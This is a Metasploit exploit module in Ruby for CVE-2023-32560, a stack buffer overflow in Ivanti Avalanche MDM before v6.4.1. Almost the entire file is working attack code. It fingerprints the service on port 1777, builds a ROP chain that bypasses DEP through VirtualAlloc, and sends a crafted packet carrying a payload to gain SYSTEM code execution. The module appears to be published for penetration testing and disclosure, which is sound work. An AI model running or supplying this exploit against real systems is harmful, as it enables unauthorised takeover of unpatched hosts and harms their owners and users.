## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super( update_info( info, 'Name' => 'Ivanti Avalanche MDM Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow condition in Ivanti Avalanche MDM versions before v6.4.1. An attacker can send a specially crafted message to the Wavelink Avalanche Manager, which could result in arbitrary code execution with the NT/AUTHORITY SYSTEM permissions. This vulnerability occurs during the processing of 3/5/8/100/101/102 item data types. The program tries to copy the item data using `qmemcopy` to a fixed size data buffer on stack. Upon successful exploitation the attacker gains full access to the target system. This vulnerability has been tested against Ivanti Avalanche MDM v6.4.0.0 on Windows 10. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ege BALCI egebalci[at]pm.me', # PoC & Msf Module 'A researcher at Tenable' # Discovery ], 'References' => [ ['CVE', '2023-32560'], ['URL', 'https://www.tenable.com/security/research/tra-2023-27'], ['URL', 'https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Payload' => { 'BadChars' => "\x3b" }, 'Targets' => [['Ivanti Avalanche <= v6.4.0.0', {}]], 'Privileged' => true, 'DisclosureDate' => '2023-08-14', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [] } ) ) register_options( [ OptPort.new('RPORT', [true, 'The remote Avalanche Manager port', 1777]) ] ) end def check begin connect rescue StandardError print_error('Could not connect to target!') return Exploit::CheckCode::Safe end res = sock.get_once if res =~ /p\.guid/ return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit expected_payload_size = 622 # This is a custom ROP chain for bypassing DEP via VirtualAlloc rop_chain = [0x00544498].pack('V') # pop edx ; mov eax, 0x00000022 ; ret ; rop_chain += [0x00001000].pack('V') # flAllocationType rop_chain += [0x00499ac0].pack('V') # pop eax ; ret ; rop_chain += [0x0056a208].pack('V') # VirtualAlloc IAT entry rop_chain += [0x00566650].pack('V') # pop ecx ; ret ; rop_chain += [0x00000040].pack('V') # flProtect rop_chain += [0x0054b079].pack('V') # pop ebx ; ret ; rop_chain += [0x00000320].pack('V') # dwSize rop_chain += [0x00402323].pack('V') # pop ebp; ret rop_chain += [0x0055642a].pack('V') # pop eax; ret rop_chain += [0x0052ad90].pack('V') # pop esi; ret; rop_chain += [0x0042792f].pack('V') # jmp [eax] rop_chain += [0x00521907].pack('V') # pop edi ; ret ; rop_chain += [0x00568968].pack('V') # ret ; rop_chain += [0x004995ab].pack('V') # pushad ; ret ; rop_chain += [0x00499c20].pack('V') # push esp ; ret # Because of the compiler optimized `qmemcpy` # we are not able to directly return to out smashed stack. # This buffer re-arranges the entire stack for escaping # the longass function without crashing. buf = Rex::Text.rand_text_alpha(136) buf += [0].pack('V') # set empty register buf += [0].pack('V') # set empty register buf += [0].pack('V') # stack alignment buffer buf += [0].pack('V') # stack alignment buffer buf += [0x00511a80].pack('V') # ESP -> $(rop: "add esp, 0x10 ; ret ;") buf += [0x00583900].pack('V') # .data section scratch space buf += [0x00583900].pack('V') # .data section scratch space buf += [0x00585858].pack('V') # .data section scratch space buf += [0x00585857].pack('V') # .data section scratch space # ================== name1 = 'h.mid' value1 = "\x30" name2 = 'h.cmd' value2 = "\x31\x39" name3 = 'p.waitprofile' value3 = (buf + rop_chain + make_nops(expected_payload_size - payload.encoded.length) + payload.encoded) item1 = [2].pack('N') item1 += [name1.length].pack('N') item1 += [value1.length].pack('N') item1 += name1 + value1 item2 = [2].pack('N') item2 += [name2.length].pack('N') item2 += [value2.length].pack('N') item2 += name2 + value2 item3 = [101].pack('N') item3 += [name3.length].pack('N') item3 += [value3.length].pack('N') item3 += name3 + value3 hp = item1 + item2 + item3 if hp.length % 16 != 0 # Add padding if not power of 16 hp += ("\x00" * (16 - (hp.length % 16))) end preamble = [hp.length + 16].pack('N') preamble += [item1.length + item2.length].pack('N') preamble += [(hp.length + 16) - 0x3b].pack('N') preamble += [0].pack('N') packet = preamble + hp print_status('Connecting to target...') connect res = sock.get_once fail_with(Failure::UnexpectedReply, 'Could not connect to MDM service - no response') if res.nil? print_status('Sending payload...') sock.put(packet) disconnect end end